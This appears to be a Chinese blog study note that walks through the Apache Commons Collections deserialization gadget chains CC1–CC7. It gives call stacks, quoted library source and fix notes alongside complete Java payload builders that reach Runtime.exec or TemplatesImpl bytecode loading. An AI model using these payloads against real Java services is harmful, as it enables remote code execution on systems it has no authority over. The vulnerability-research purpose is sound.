0%

Common-Collections系列payload复现

Common-Collections系列payload复现

问就是太菜了,什么都不会,所以需要加强记忆,保姆级复习
代码基本上都是抄的yso,但是要手跟一下总结一下

CC1

最古老的payload,在极低版本的jdk上生效,因为已经修掉了所以现在基本上没有用,在这里可以下载远古jdk,这里用的1.8u51,非常远古
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html

调用栈

Gadget chain:
    ObjectInputStream.readObject()
        AnnotationInvocationHandler.readObject()
            Map(Proxy).entrySet()
                AnnotationInvocationHandler.invoke()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()

Transformer[]

先看Transformer数组这一套,这个是后续利用的常客,Transformer是一个基类,其下拥有ChainedTransformer,ConstantTransformer,InvokerTransformer众多子类,其拥有一个transform方法,ChainedTransformer的该方法如下(ChainedTransformer有一个成员变量数组iTransformer)

    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

就是以上一次transform的结果为参数,依次调用自己的各transformer的transform方法。
ConstantTransformer从名字上就能听出来,其transform方法返回一个常量,可在构造函数中传入该常量
InvokerTransformer的该方法比较牛逼,其在构造时可以传入需要调用的方法名iMethod和参数列表iParamTypes,直接进行反射调用

    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
                
        }
        catch
        .......
    }

因此写出Transformer的部分代码

        final String[] args = new String[] {command};
        final Transformer transformerChain = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Class[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, args),
                });

调用ChainedTransformer的transform方法,就先通过ConstantTransformer返回Runtime.class,然后利用invokeTransformer调用方法,先调用getMethod方法,获取到Runtime类的getRuntime Method,之后对使用invoke调用Method对象,返回Runtime类实例,最终调用Runtime对象的exec方法进行命令执行。
也就等价于Runtime.getRutime.exec(args)

从AnnotationInvocationHandler.invoke到LazyMap.get

那么接下来的任务就是找到一个触发ChainedTransformer的transform方法的点了,这里看到LazyMap的get方法

    public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

如果key不在map中的话,就调用factory属性的transform方法,OK
再找一个可以触发LazyMap的get方法的点,按照调用链层层往上,看到AnnotationInvocationHandler.invoke()

public Object invoke(Object var1, Method var2, Object[] var3) {
        String var4 = var2.getName();
        Class[] var5 = var2.getParameterTypes();
        if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
            return this.equalsImpl(var3[0]);
        } else if (var5.length != 0) {
            throw new AssertionError("Too many parameters for an annotation method");
        } else {
            byte var7 = -1;
            switch(var4.hashCode()) {
            case -1776922004:
                if (var4.equals("toString")) {
                    var7 = 0;
                }
                break;
            case 147696667:
                if (var4.equals("hashCode")) {
                    var7 = 1;
                }
                break;
            case 1444986633:
                if (var4.equals("annotationType")) {
                    var7 = 2;
                }
            }

            switch(var7) {
            case 0:
                return this.toStringImpl();
            case 1:
                return this.hashCodeImpl();
            case 2:
                return this.type;
            default:
                Object var6 = this.memberValues.get(var4);
                ......
    }

在switch(var7)的default选项中,进行了Object var6 = this.memberValues.get(var4);memberValues当然是一个map,符合条件

AnnotationInvocationHandler继承自InvocationHandler,而且需要调用其invoke方法,需要使用Proxy来触发这个invoke。

简单复习一下代理,一个Proxy需要实现一个继承自InvocationHandler的类,以及一个被代理的对象。Handler类定义一个invoke函数,并在实例化时关联该对象,对由该handler创建的proxy对象进行方法调用,即为调用该handler的invoke方法。而一般来说handler的invoke方法一般是对调用的方法进行包装

使用如下代码创建一个合适的Proxy类

        final HashMap innerMap = new HashMap();
        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        Constructor constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        final InvocationHandler temp = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
        final Map mapProxy = (Map) Proxy.newProxyInstance(temp.getClass().getClassLoader(), new Class[]{Map.class}, temp);

先构造好对应的LazyMap,由于AnnotationInvocationHandler的构造函数是私有方法,所以要通过反射来进行创建(为什么构造函数是私有方法啊,那这个类正常情况怎么用啊。。。)
将创建的handler与LazyMap进行关联,创建出可用的mapProxy对象

在构建AnnotationInvocationHandler时传入的第一个类是Override.class,是因为其构造函数要求第一个参数是一个注解类,而Override.class是一个自带的注解类

但同样的,我们还需要一个能调用Map的方法的函数,因为最初的触发点得是readObject,而AnnotationInvocationHandler这个类的readObject刚好就有这个功能

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();
        .......
    }

这一句Iterator var4 = this.memberValues.entrySet().iterator();调用了map的entrySet,完成了一条从readObject到RCE的完全路径
外层的这个handler只是因为他刚好readObject可以触发这个代理类

payload

因此最后再创建一个AnnotationInvocationHandler对象,并且把我们的代理类赋值进去,由此我们能拼凑出整个CC1的payload

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;


public class CC1 {
    public static InvocationHandler getPayload(String command) throws Exception {
        final String[] args = new String[] {command};
        final Transformer transformerChain = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Class[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, args),
                });

        final HashMap innerMap = new HashMap();
        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        Constructor constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        final InvocationHandler temp = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
        final Map mapProxy = (Map) Proxy.newProxyInstance(temp.getClass().getClassLoader(), new Class[]{Map.class}, temp);
        final InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class, mapProxy);

        return handler;
    }
}

修复方案

说过这个链其实不能用了,因为在远古远古版本就已经修掉了
维修的方法就是直接把memberValue改成定值,不可控了自然就没法反序列化了
新版readObject

    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        ObjectInputStream.GetField fields = s.readFields();

        @SuppressWarnings("unchecked")
        Class<? extends Annotation> t = (Class<? extends Annotation>)fields.get("type", null);
        @SuppressWarnings("unchecked")
        Map<String, Object> streamVals = (Map<String, Object>)fields.get("memberValues", null);

        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(t);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();
        // consistent with runtime Map type
        Map<String, Object> mv = new LinkedHashMap<>();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : streamVals.entrySet()) {
            String name = memberValue.getKey();
            Object value = null;
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    value = new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name));
                }
            }
            mv.put(name, value);
        }

        UnsafeAccessor.setType(this, t);
        UnsafeAccessor.setMemberValues(this, mv);
    }

最后一句强行设定了memberValue
跟了一下,影响的是内层用于触发LazyMap.get的那个handler,内层handler本来是代理的LazyMap类变成了代理LinkedHashMap类,然后走到get的时候走的是LinkedHashMap.get,计划大失败

CC2

只能打Common Collections 4,需要极低版本,约等于没有用。因为在Common Collections 3中TransformingComparator这个类没有实现Serializable接口

调用栈

Gadget chain:
    ObjectInputStream.readObject()
        PriorityQueue.readObject()
            ...
            TransformingComparator.compare()
                InvokerTransformer.transform()
                    Method.invoke()
                        Runtime.exec()

TemplateImpl

这个类的特点是当调用其getOutputProperties方法时,会一路调用最终将自己的_bytecodes属性作为字节码进行类的加载,并进行类的实例化。使用javassit可以动态修改类的字节码,在类的static块中添加任意代码,并放到_bytecodes属性中触发,即可在类实例化时得到执行

    private Translet getTransletInstance()
        throws TransformerConfigurationException {
        try {
            if (_name == null) return null;

            if (_class == null) defineTransletClasses();

            // The translet needs to keep a reference to all its auxiliary
            // class to prevent the GC from collecting them
            AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
            ........
    }
    
    
    private void defineTransletClasses()
        throws TransformerConfigurationException {

        if (_bytecodes == null) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
            throw new TransformerConfigurationException(err.toString());
        }

        TransletClassLoader loader = (TransletClassLoader)
            AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
                    return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
                }
            });

        try {
            final int classCount = _bytecodes.length;
            _class = new Class[classCount];

            if (classCount > 1) {
                _auxClasses = new HashMap<>();
            }

            for (int i = 0; i < classCount; i++) {
                _class[i] = loader.defineClass(_bytecodes[i]);
                ......
    }

在defineTransletClasses中_class[i] = loader.defineClass(_bytecodes[i]);进行加载,而加载完成后在getTransletInstance中AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();进行实例化

从PriorityQueue到InvokerTransformer

顺着看吧,出发点必然是PriorityQueue的readObject方法,其最后调用了一个heapify()方法,听起来就是堆排序,而heapify方法里面也就只调用了一个函数siftDown,siftDown在comparator不为null时调用siftDownUsingComparator,siftDownUsingComparator调用comparator的compare方法(怪不得yso里面的链子打了省略号。。原来这一路上的函数调用连分叉都没有)

看到TransformingComparator的compare方法,直接对自己的transformer进行transform了

    public int compare(I obj1, I obj2) {
        O value1 = this.transformer.transform(obj1);
        O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }

invokerTransformer可以调用一个类的public方法,所以直接调用templateImpl的getOutputProperties实现rce
而templateImpl反序列化时可以执行任意长度任意数量的代码,约等于PHP的eval

payload

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CC2 {
    public static Object getPayload(final String command) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        cc.makeClassInitializer().insertBefore(command);
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();

        Field bf = TemplatesImpl.class.getDeclaredField("_bytecodes");
        bf.setAccessible(true);
        bf.set(templates, targetByteCodes);

        // 进入 defineTransletClasses() 方法需要的条件
        Field nf = TemplatesImpl.class.getDeclaredField("_name");
        nf.setAccessible(true);
        nf.set(templates, "name");
        Field cf = TemplatesImpl.class.getDeclaredField("_class");
        cf.setAccessible(true);
        cf.set(templates, null);
        Field tf = TemplatesImpl.class.getDeclaredField("_tfactory");
        tf.setAccessible(true);
        tf.set(templates, new TransformerFactoryImpl());

        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
        TransformingComparator comparator = new TransformingComparator(invokerTransformer);
        PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(1);

        Field fq = PriorityQueue.class.getDeclaredField("queue");
        fq.setAccessible(true);
        Object[] queueArray = (Object[]) fq.get(queue);
        queueArray[0] = templates;
        queueArray[1] = 1;
        Field fc = PriorityQueue.class.getDeclaredField("comparator");
        fc.setAccessible(true);
        fc.set(queue, comparator);

        return queue;
    }
}

没有验证这个代码的可用性,因为懒得去翻老版本的Common Collections4了

往PriorityQueue里面塞两个破烂是因为要队列里面至少有两个元素才能触发排序,因为要add一下size才会+1,直接反射往里面塞是不加size的,然后再反射一手把queue里面的数据改成我们的emplateImpl,在比较的时候用invokerTransformer触发

修复方案

把Common collections4的invokerTransformer的Serializable给去掉了,在4.1中即生效,也就是说只能打4.0(现在都更新到4.4了)

CC3

将CC1中的一组InvokerTransformer换成了一个InstantiateTransformer,然后再塞一个templateImpl,因为约等于CC1,所以也只对远古版本jdk有效,约等于没有用

调用栈

约等于CC1,这里就最后改成了InstantiateTransformer,实例化类的时候调用了newTransform方法,配合templateImpl打通

从InstantiateTransformer到templateImpl.newTransformer

这个玩意的transformer有点猛,进去就看到一个newInstance

    public Object transform(Object input) {
        try {
            if (input instanceof Class == false) {
                throw new FunctorException(
                    "InstantiateTransformer: Input object was not an instanceof Class, it was a "
                        + (input == null ? "null object" : input.getClass().getName()));
            }
            Constructor con = ((Class) input).getConstructor(iParamTypes);
            return con.newInstance(iArgs);

        } catch
        ........
    }

然后看到TrAXFilter这个类的构造函数

    public TrAXFilter(Templates templates)  throws
        TransformerConfigurationException
    {
        _templates = templates;
        _transformer = (TransformerImpl) templates.newTransformer();
        _transformerHandler = new TransformerHandlerImpl(_transformer);
        _useServicesMechanism = _transformer.useServicesMechnism();
    }

直接调用自己的templates的newTransformer

payload

        final Transformer transformerChain = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[] { Templates.class },
                        new Object[] { templatesImpl } )
        });

把CC1和CC2缝合一下,其中transformer改成这个就行

修复方案

因为触发方法和CC1一致,通过proxy调用invoke最后到LazyMap.get,所以AnnotationInvocationHandler的LazyMap那一改就打不通了

CC4

把CC2触发templateImpl的InvokerTransformer换成InstantiateTransformer,因为用的是PriorityQueue这条线,所以得用TransformingComparator,所以只用于Common Collections4,也被修了,高版本也用不了。

调用栈

和CC2类似

payload

超级缝合怪,已经不用加新东西了,把CC2和CC3再缝合一下即可,不贴代码

修复方案

类似CC2,把InstantiateTransformer的Serializable也去掉了,也是4.1版本即生效,呜呜

CC5

新摸出来的一条的到LazyMap的链
Common collections3/4均适用(当然是低版本。。。不过对Common collections3的话不是那么低版本)

调用栈

Gadget chain:
    ObjectInputStream.readObject()
        BadAttributeValueExpException.readObject()
            TiedMapEntry.toString()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()

注释里提到

This only works in JDK 8u76 and WITHOUT a security manager

高版本无security manager时可用,顺着看

BadAttributeValueExpException到LazyMap.get()

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);

        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
            val = valObj.toString();
        } else { // the serialized object is from a version without JDK-8019292 fix
            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
        }
    }

其val属性不为null不为String且System.getSecurityManager() == null时,调用其val属性的toString,而TiedMapEntry的toString函数很简单,配合getValue使用,直接map.get

    public String toString() {
        return getKey() + "=" + getValue();
    }
    public Object getValue() {
        return map.get(key);
    }

只需把CC1中触发的那段改为这个即可

payload

CC1的后半边换成

        BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
        Field valfield = exception.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(exception, entry);

        return exception;

Common Collections4想用的话把所有import改成collection4,然后反射获取Constructor构造一下LazyMap即可(要我说invokerTransformer挂了就是用不了嘛)

修复方案

对Common collections4而言,在4.1InvokerTransformer的Serializable就没了
而对Common collections3,同Common Collections4中的的修复方案,把InvokerTransformer的Serializable去掉了,呜呜
该修复在Common Collections3.2.2中出现,这是Common Collections3的最新版本(当然理论上Common Collections3系列以及被抛弃了,现在都在更新Common Collections4)
所以估计在版本号上似乎3的修复很晚,但时间线上可能差不多。。。

CC6

同样Common Collections3/4通用,版本限制相同

调用栈

Gadget chain:
    java.io.ObjectInputStream.readObject()
        java.util.HashSet.readObject()
            java.util.HashMap.put()
            java.util.HashMap.hash()
                org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                    org.apache.commons.collections.map.LazyMap.get()
                        org.apache.commons.collections.functors.ChainedTransformer.transform()
                        org.apache.commons.collections.functors.InvokerTransformer.transform()
                        java.lang.reflect.Method.invoke()
                            java.lang.Runtime.exec()

HashMap到LazyMap.get

有两个触发点,一个是像yso一样整个HashSet套HashMap,HashSet的readObject在最后会调用其map的put方法,而put则调用hash方法
如果直接用HashMap的话,其readObject方法则直接调用hash方法,也能走到对应步骤

hash方法调用key的hashCode方法,令key为TiedMapEntry,其hashCode方法调用getValue方法,而getValue方法自然就是调用map.get,到我们喜闻乐见的lazymap.get环节

payload

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.Field;
import java.util.HashMap;

public class CC6 {
    public static Object getPayload(final String command) throws Exception{
        final String[] args = new String[] {command};
        final Transformer[] temp = new Transformer[]{};
        final Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Class[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, args),
        };
        final Transformer transformerChain = new ChainedTransformer(temp);

        HashMap innerMap = new HashMap();
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(innerMap, transformerChain);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "foo");

        HashMap map = new HashMap();
        map.put(tiedMapEntry, "foo2");
        innerMap.clear();

        Field f = transformerChain.getClass().getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);

        return map;
    }
}

这么写的话需要在最后加上一个innerMap.clear(),试着调试了一下,在创建第二个HashMap的时候,之前创建的innerMap的size自动增长了,出现了一个键值对,而LazyMap.get触发transform的条件是那个key不存在,因此需要在最后把map清空,否则无法触发

也可以用yso的外面再套一层HashSet

踩坑无数

已经忘了之前是怎么做的了,今天调试了一下CC6,然后踩了无数个坑。调试时IDEA会自动去获取变量值之类的数据进行展示,由此会调用toString,get等函数。而在这里很显然,toString和get等都属于致命函数,一调用就会直接触发payload,并且还会将其执行的结果放进map。我在构造payload的时候下了个断点,直接触发payload,顺便还把执行的结果,一个ProcessImpl类塞到map里,而这个类不能序列化,序列化直接失败。上述提到的innerMap.clear()清楚map内容,new第二个HashMap时innerMap自增也不知道是不是因为这个原因。。。。IDEA的这个操作导致我完全无法调试,很多问题没法解决了。。。

修复方案

同之前,把InvokerTransformer ban了

CC7

利用哈希碰撞时调用equal去触发LazyMap.get,LazyMap真是万能

调用栈

这次yso的没缩进了,手动加一个

java.util.Hashtable.readObject
    java.util.Hashtable.reconstitutionPut
        org.apache.commons.collections.map.AbstractMapDecorator.equals
            java.util.AbstractMap.equals
                org.apache.commons.collections.map.LazyMap.get
                    org.apache.commons.collections.functors.ChainedTransformer.transform
                    org.apache.commons.collections.functors.InvokerTransformer.transform
                    java.lang.reflect.Method.invoke
                    java.lang.Runtime.exec

从Hashtable.readObject到LazyMap.get

Hashtable的readObject最后调用了reconstitutionPut函数,进而进入AbstractMapDecorator的equal,调用的是AbstractMap的equal

    public boolean equals(Object o) {
        if (o == this)
            return true;

        if (!(o instanceof Map))
            return false;
        Map<?,?> m = (Map<?,?>) o;
        if (m.size() != size())
            return false;

        try {
            Iterator<Entry<K,V>> i = entrySet().iterator();
            while (i.hasNext()) {
                Entry<K,V> e = i.next();
                K key = e.getKey();
                V value = e.getValue();
                if (value == null) {
                    if (!(m.get(key)==null && m.containsKey(key)))
                        return false;
                } else {
                    if (!value.equals(m.get(key)))
                        return false;
                }
            }
        } catch 
        ......

if (!value.equals(m.get(key)))进LazyMap.get

payload

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7 {
    public static Object getPayload(final String command) throws Exception {
        final String[] args = new String[] {command};
        final Transformer[] temp = new Transformer[]{};
        final Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Class[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, args),
        };
        final Transformer transformerChain = new ChainedTransformer(temp);

        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();

        // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
        lazyMap1.put("yy", 1);

        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
        lazyMap2.put("zZ", 1);

        // Use the colliding Maps as keys in Hashtable
        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 2);


        Field f = transformerChain.getClass().getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);
        // Needed to ensure hash collision after previous manipulations
        lazyMap2.remove("yy");
        return hashtable;
    }
}

这里注意一下最后的lazyMap2.remove("yy");,这是因为在构造的时候,两次put就已经产生了碰撞,而碰撞之后把lazymap2中添加了lazymap1中的项,需要把它移除才能保证在反序列化的时候再次发送哈希碰撞
以及hashCode(“yy”)==hashCode(“zZ”),所以会发生碰撞

修复方案

同上

后记

TiedMapEntry的触发实际上是用自己的key去调用transform方法,所以可以调用任意类的一个public方法,只需要将TiedMapEntry的key设为那个类的一个实例即可(好像用一堆transformer一直invoke下去也能调用任意类的任意public方法,也说不定)

还有就是一开始初始化ChainedTransformer时直接放payload进去,容易在构造序列化数据的时候直接触发,打自己一下。。。正确的做法是先塞个垃圾进去,搞完了再反射改掉,所以yso都是这么做的

总结一下使用场景
CC1/3用的AnnotationInvocationHandler只适用于远古jdk,基本上没有用
CC2/4用的TransformingComparator只适用于Common Collections4.0,勉强能用
CC5/6都是走到TiedMapEntry,进LazyMap.get
其中CC5的BadAttributeValueExpException适用于高版本jdk且需要一个SecurityManager的配置
CC7用的Hashtable也是走到LazyMap.get,但和5/6相比,少一个TiedMapEntry
以及CC5/6/7似乎对于Common Collections3/4均适用

后续还有各种和TemplateImpl结合的变体打法,可能就是市面上流传的CC8/9/10

而最后的执行环节一定是用到Transformer的,所以在Common Collections3.2.1以及Common Collections4.0之后,这几个相关Transformer均不可序列化,完成了超级防御

参考文章

我直接打开rmb神仙的博客开始学习并超级提问呜呜
ysoserial URLDNS, CommonsCollectionsX 分析
Java安全之反序列化篇-URLDNS&Commons Collections 1-7反序列化链分析